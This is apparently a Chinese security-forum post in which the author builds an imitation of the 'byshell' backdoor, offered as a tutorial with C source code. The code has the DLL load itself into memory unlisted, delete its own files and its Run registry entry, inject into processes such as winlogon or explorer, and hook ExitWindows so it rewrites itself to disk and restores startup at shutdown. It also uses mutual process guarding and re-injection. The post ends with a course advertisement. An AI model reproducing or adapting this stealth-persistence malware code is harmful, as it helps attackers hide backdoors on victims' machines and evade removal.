小弟新人,初来乍到看雪,看到无数大牛们的文章作品,总觉得自己也该写点什么,可惜手生技疏,怕是会让大牛们贻笑大方,于是迟迟不敢写出来。今天总算是鼓足勇气献丑,第一次发帖,牛牛们多多关照。
从前给人做东西的时候,无意中发现了网上byshell后门这玩意,号称“无进程无DLL无硬盘文件无启动项 ”,于是就试着山寨一个,以下个人愚见。
实现这种程序无非需要以下几种条件:
1.程序运行的时候,直接将自己load内存中执行,释放本身硬盘文件,从而达到无硬盘文件。
2.检测到关机信号,并且在关机前将自身完整复制到硬盘保存,恢复启动方式。
3.开机启动时,删除启动痕迹,程序体躲入内存中。
实现这三个条件,那么传说的“无进程无DLL无硬盘文件无启动项”的雏形就完成了。
下面我们就来实现这三个功能,代码比较粗鲁,欢迎牛牛们指正。
准备工作:
首先定义一个结构
typedef struct _procstruct
{
int isFirstCalled;
HMODULE passMod;
char *path;
void * dllAddr;
int exeSize;
char *ePath;
int dllSize;
}ProcStruct,*PProcStruct;
在我们转移dll数据时会用到.
其次,HOOK 掉进程ExitWindows函数,用来截获关机信号。关机的时候windows会一个个的给进程发送关机消息,实际上只要把我们的程序注入到有窗口类的进程如explorer winlogon之类的就可以补获到关机信号。
接下来,内存loader。这儿我用的是网上找了国外一位大牛的内存loader,不是自己写的。可以在内存中加载我们的程序。
准备工作就绪,进入正题:
我们设定我们的程序是一个dll。先看看DllMain里面的处理,看不懂没关系,下面有解释。
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
//dll被注入的时候我们便开始我们的工作
char ProcPath[512];
char *ProcName;
GetModuleFileNameA(NULL,ProcPath,512);
ProcName=strrchr(ProcName,'\\');
++ProcName;//获得当前进程名
PProcStruct reserverd=(PProcStruct)lpReserved;//定义个一个用来传递信息的结构
if((lpReserved!=NULL)&&(reserverd->isFirstCalled==SECOND_CALL))
{//第二次load
strcpy(dllPath,reserverd->path);
strcpy(exePath,reserverd->ePath);
dllModule=reserverd->passMod;
MemAlise=reserverd->dllAddr;
printf("mem=%d ",(int)MemAlise);
MemSize=reserverd->dllSize;
exeSize=reserverd->exeSize;
printf("size=%d\n",MemSize);
//设置线程等待量
wait =0;
if(strcmpi(ProcName,PROTECT_PROCESS))
{
//如果不是运行在保护进程则启动第三保护线程
//OutputDebugString("启动第三线程!\n");
_beginthread(thirdThread,0,NULL);
}
//最后开启第二工作线程
_beginthread(secondThread,0,NULL);
}
else
{ //当dll是第一被load的时候
printf("原dll调用!\n");
GetModuleFileNameA(hModule,dllPath,MAX_PATH);
dllModule=hModule;
_beginthread(mainThread,0,NULL);
}
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
{
}
break;
}
return TRUE;
}
代码有些乱,大家可能看得比较模糊。我来解释一下。
DLL第一次被LoadLibrary加载进内存的时候,我们的struct _procstruct结构参数isFirstCall可以判断到并开始首次加载工作。
1.保存dll句柄、文件名
2.启动线程mainThread,mainThread拷贝dll以及相关的程序保存到内存中,然后调用内存loader直接加载内存中的dll,并且传人我们的struct _procstruct结构。有的人会疑问此时内存岂不是有两份相同的dll被加载了。是的!由于内存loader是我们自己的东西,所以我们可以在让它加载dll的时候,不挂接到进程dll模块列表,对于进程来说,我们后加载进的dll是看不见的。我觉得这也算是一种隐藏dll模块的方法,只不过有些旁门左道。
我们再来看一下这个ProcStruct结构
typedef struct _procstruct
{
int isFirstCalled;//是不是第一次被调用
HMODULE passMod;//传入的首次加载dll的句柄,用于接下来free掉
char *path;//dll的路径,用于最后关机时候保存dll到原来的路径
void * dllAddr;//内存中存放的dll的首地址
int dllSize;//大小
int exeSize;//
char *ePath;//这个是附加存了一个exe到内存中,因为我这儿启动的时候用这个exe来加载我们的dll.
}ProcStruct,*PProcStruct;
3.第二次加载内存dll时候,通过传人的ProcStruct结构获得相关的参数,我们传入首次加载的dll句柄和文件路径,这样在我们第二次加载后,启动一个线程,把首次加载的dll free掉,然后就可以大大方方删掉这个dll了。实现无硬盘文件功能。
4.当然在第二次加载的时候还要设定个钩子勾住ExitWindows,用来关机的时候保存我们的文件和启动方式。另外还可以添加一些功能。在这儿我弄了个双进程守护,用来防止我们的寄宿的进程被无意或有意关闭。因为一旦这样,我们的程序就尸骨无存了。进了secondThread之后先判断是不是我们设定寄宿的进程,不是就先free掉dll句柄,然后往设定的保护内进程注入。保护进程注入成功之后,便开始重复动作,直至进入secondThread检测进程,如果检测到是保护进程,那么开始hook Exitwindows,free 掉dll句柄,检测全局运行量(由工作线程设定,用于判读工作进程存在情况)。一旦发现全局运行量不存在,把内存的dll给写出到硬盘,然后检测往我们的设定的工作进程注入。又是一个重复动作到secondThread,工作进程就干两件事,删文件,做爱做的事。当然这儿在注入时候也可以直接把本进程内存数据WriteProcessMemory写入到要注入的进程,就可以不必写回硬盘再load了。
mainThread和secondThread代码
void mainThread(void *p)
{
char szDriver[32];
char szPath[MAX_PATH];
char modPath[512];
FILE *fp,*fp2;
GetModuleFileNameA(dllModule,modPath,512);
strcpy(dllPath,modPath);
_splitpath(dllPath,szDriver,szPath,NULL,NULL);
ZeroMemory(exePath,MAX_PATH);
strcpy(exePath,szDriver);
strcat(exePath,szPath);
strcat(exePath,"ImExer.exe");
//拷贝dll到进程空间
fp=fopen(modPath,"rb");
fp2=fopen(exePath,"rb");
if (!fp)
return;
int size = filelength(fileno(fp));
int size2;
if(fp2)
size2= filelength(fileno(fp2));
else
size2=0;
void *pMemoryAddr=VirtualAlloc(NULL,size+size2,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
if (pMemoryAddr==NULL)
{
fclose(fp);
return;
}
char *add;
add=(char *)pMemoryAddr;
//这儿没用什么缓冲机制,因为执行文件较小,所以就简单的一个字节一个字节的写内存了
//另外也没有用WirteProcessMemory之类的函数不知道科学不科学
while (size>0&&!feof(fp))
{
*add=(char)getc(fp);
++add;
}
add--;
while (size2>0&&!feof(fp2))
{
*add=(char)getc(fp2);
++add;
}
fclose(fp);
fclose(fp2);
PProcStruct reserved=new ProcStruct();
reserved->passMod=dllModule;
reserved->dllAddr=pMemoryAddr;
reserved->exeSize=size2;
reserved->dllSize=size;
reserved->ePath=exePath;
reserved->path=dllPath;
reserved->isFirstCalled=SECOND_CALL;
HMEMORYMODULE memMod=MemoryLoadLibrary(pMemoryAddr,reserved);//保存好dll的信息,用内存loader再一次加载
if (memMod!=NULL)
{
OutputDebugString("启动成功!\n");
}
else
{
OutputDebugString("启动失败\n");
}
}
void secondThread(void *p)
{
char ExecPath[512];
char FileName[128];
char Ext[128];
GetModuleFileNameA(NULL,ExecPath,512);
_splitpath(ExecPath,NULL,NULL,FileName,Ext);
strcat(FileName,Ext);
printf(FileName);
if(!strcmpi(FileName,PROTECT_PROCESS))
{
//判断系统预定进程
//删除启动项
HKEY hKey;
LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_ALL_ACCESS, &hKey);
if(lRet == ERROR_SUCCESS)
{
lRet = RegDeleteValue(hKey, "WorkAssist");
RegCloseKey(hKey);
}
FreeLibrary(dllModule);
WaitForSingleObject(dllModule,10000);
OutputDebugStringA(FileName);
SetHooker(dllModule,SaveMyDll);//设置关机钩子
//SaveMyDll是我们的回调函数,用来关机保存
while (TRUE)
{
if(wait==SLEEP_MODE)
{//关机回调函数会设定一个值用于在关机时候我们的保护线程停止保护功能
Sleep(10000);
break;
}
if(!AppInstanceExists())
{//没发现工作线程在工作的时候就检测并注入到工作线程
//如果文件存在或者内存中有文件数据
if(MemAlise!=NULL)
{
FILE* fp,*fp2;
char *add=(char *)MemAlise;
int msize=MemSize;
fp=fopen(dllPath,"wb");
fp2=fopen(exePath,"wb");
if(fp)
{
while (msize>0)
{
fputc((*add),fp);
++add;
--msize;
}
fflush(fp);
fclose(fp);
}
msize=exeSize;
if(fp2)
{
while (msize>0)
{
fputc((*add),fp2);
++add;
--msize;
}
fflush(fp2);
fclose(fp2);
}
OutputDebugStringA("写执行文件到系统!");
}
//还原
do
{
int pid=GetPid(WORK_PROCESS);
if(pid)
break;
OutputDebugStringA("获取pid\n");
Sleep(3000);
} while (1);
//清除同步量
if (g_hMutexAppRunning != NULL )
{
CloseHandle(g_hMutexAppRunning);
g_hMutexAppRunning = NULL;
}
OutputDebugStringA("注入保护进程!\n");
InjectProcess(dllPath,WORK_PROCESS);
}
else
{
OutputDebugStringA("保护进程中运行!!");
}
OutputDebugStringA(PROTECT_PROCESS);
Sleep(3000);
}
}
else if (!strcmpi(FileName,WORK_PROCESS))
{
//强制关闭我们的执行程序
int pid=GetPid("ImExer.exe");
if(pid)
{
HANDLE handle=OpenProcess(PROCESS_TERMINATE,FALSE,pid);
if(handle)
{
TerminateProcess(handle,0);
}
CloseHandle(handle);
}
FreeLibrary(dllModule);
WaitForSingleObject(dllModule,10000);
// 删除自身文件
OutputDebugStringA("准备删除自身文件!!");
//这儿用的是最原始的方式,删不掉就继续删,直到删掉为止
BOOL aOK=(access(dllPath,0)==-1);
BOOL bOK=(access(exePath,0)==-1);
while (true)
{
if(!aOK)
{
DeleteFile(dllPath);
aOK=(access(dllPath,0)==-1);
}
if(!bOK)
{
DeleteFile(exePath);
bOK=(access(exePath,0)==-1);
}
if(aOK&&bOK)
break;
Sleep(1000);
}
OutputDebugString("删除自身程序完成!!");
if(AppInstanceExists())
{//不让两个工作线程同时运行
return;
}
while (true)
{
//此处是程序执行空间
OutputDebugStringA(WORK_PROCESS);
Sleep(500);
}
}
else
{
// 发现运行的进程神马都不是
FreeLibrary(dllModule);
WaitForSingleObject(dllModule,10000);
。
。
。
//注入保护进程
}
}
至此,程序的大部分功能就七七八八了。在实现方面,估计有太多需要改进的地方。启动项设置,注入方式等等都是可以自定义的地方。我这儿用了最简单的注册表启动和远程线程注入就不贴出来了。完整程序在下面。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课